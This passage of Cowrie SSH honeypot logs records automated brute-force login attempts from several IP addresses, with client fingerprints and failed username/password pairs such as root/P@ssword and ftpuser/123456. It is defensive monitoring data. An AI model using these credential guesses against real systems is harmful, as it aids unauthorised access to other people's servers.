0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:59.780621Z","src_ip":"192.109.200.78","session":"c9b879d22a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:00.116498Z","src_ip":"192.109.200.78","session":"c9b879d22a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:01.241673Z","src_ip":"192.109.200.78","session":"c9b879d22a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37206,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba3b4a9bf98","protocol":"ssh","message":"New connection: 159.203.92.129:37206 (159.203.135.109:22) [session: 9ba3b4a9bf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.692973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.704649Z","src_ip":"159.203.92.129","session":"9ba3b4a9bf98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.716101Z","src_ip":"159.203.92.129","session":"9ba3b4a9bf98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50222,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bb95c2cb9d8","protocol":"ssh","message":"New connection: 176.65.139.95:50222 (159.203.135.109:22) [session: 2bb95c2cb9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.726334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.732095Z","src_ip":"176.65.139.95","session":"2bb95c2cb9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.937370Z","src_ip":"176.65.139.95","session":"2bb95c2cb9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PMS","password":"123","message":"login attempt [PMS/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:02.956965Z","src_ip":"159.203.92.129","session":"9ba3b4a9bf98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:03.458270Z","src_ip":"176.65.139.95","session":"2bb95c2cb9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51198,"dst_ip":"159.203.135.109","dst_port":22,"session":"fba36d46db0b","protocol":"ssh","message":"New connection: 192.109.200.78:51198 (159.203.135.109:22) [session: fba36d46db0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:03.842909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:03.848453Z","src_ip":"192.109.200.78","session":"fba36d46db0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:03.931508Z","src_ip":"192.109.200.78","session":"fba36d46db0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:03.965707Z","src_ip":"159.203.92.129","session":"9ba3b4a9bf98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:04.185652Z","src_ip":"192.109.200.78","session":"fba36d46db0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:04.542793Z","src_ip":"176.65.139.95","session":"2bb95c2cb9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:05.271965Z","src_ip":"192.109.200.78","session":"fba36d46db0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51202,"dst_ip":"159.203.135.109","dst_port":22,"session":"4381c0ded2ec","protocol":"ssh","message":"New connection: 192.109.200.78:51202 (159.203.135.109:22) [session: 4381c0ded2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:07.973649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:07.979071Z","src_ip":"192.109.200.78","session":"4381c0ded2ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:08.067267Z","src_ip":"192.109.200.78","session":"4381c0ded2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:08.322288Z","src_ip":"192.109.200.78","session":"4381c0ded2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55176,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3ab8f7e512","protocol":"ssh","message":"New connection: 176.65.139.95:55176 (159.203.135.109:22) [session: ed3ab8f7e512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:08.824320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:08.829489Z","src_ip":"176.65.139.95","session":"ed3ab8f7e512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:08.911917Z","src_ip":"176.65.139.95","session":"ed3ab8f7e512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:09.310411Z","src_ip":"176.65.139.95","session":"ed3ab8f7e512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:09.425624Z","src_ip":"192.109.200.78","session":"4381c0ded2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:10.395512Z","src_ip":"176.65.139.95","session":"ed3ab8f7e512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52984,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ba7ce95c0dd","protocol":"ssh","message":"New connection: 192.109.200.78:52984 (159.203.135.109:22) [session: 7ba7ce95c0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:12.288139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:12.297832Z","src_ip":"192.109.200.78","session":"7ba7ce95c0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:12.382809Z","src_ip":"192.109.200.78","session":"7ba7ce95c0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:12.630884Z","src_ip":"192.109.200.78","session":"7ba7ce95c0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:13.836126Z","src_ip":"192.109.200.78","session":"7ba7ce95c0dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55186,"dst_ip":"159.203.135.109","dst_port":22,"session":"47cef22e05e2","protocol":"ssh","message":"New connection: 176.65.139.95:55186 (159.203.135.109:22) [session: 47cef22e05e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:14.982686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:14.988429Z","src_ip":"176.65.139.95","session":"47cef22e05e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:15.071607Z","src_ip":"176.65.139.95","session":"47cef22e05e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:15.362175Z","src_ip":"176.65.139.95","session":"47cef22e05e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53000,"dst_ip":"159.203.135.109","dst_port":22,"session":"50a7f4ac5c65","protocol":"ssh","message":"New connection: 192.109.200.78:53000 (159.203.135.109:22) [session: 50a7f4ac5c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:16.336339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:16.348020Z","src_ip":"192.109.200.78","session":"50a7f4ac5c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:16.451286Z","src_ip":"176.65.139.95","session":"47cef22e05e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:16.489126Z","src_ip":"192.109.200.78","session":"50a7f4ac5c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:17.047950Z","src_ip":"192.109.200.78","session":"50a7f4ac5c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:18.139491Z","src_ip":"192.109.200.78","session":"50a7f4ac5c65","protocol":"ssh"}
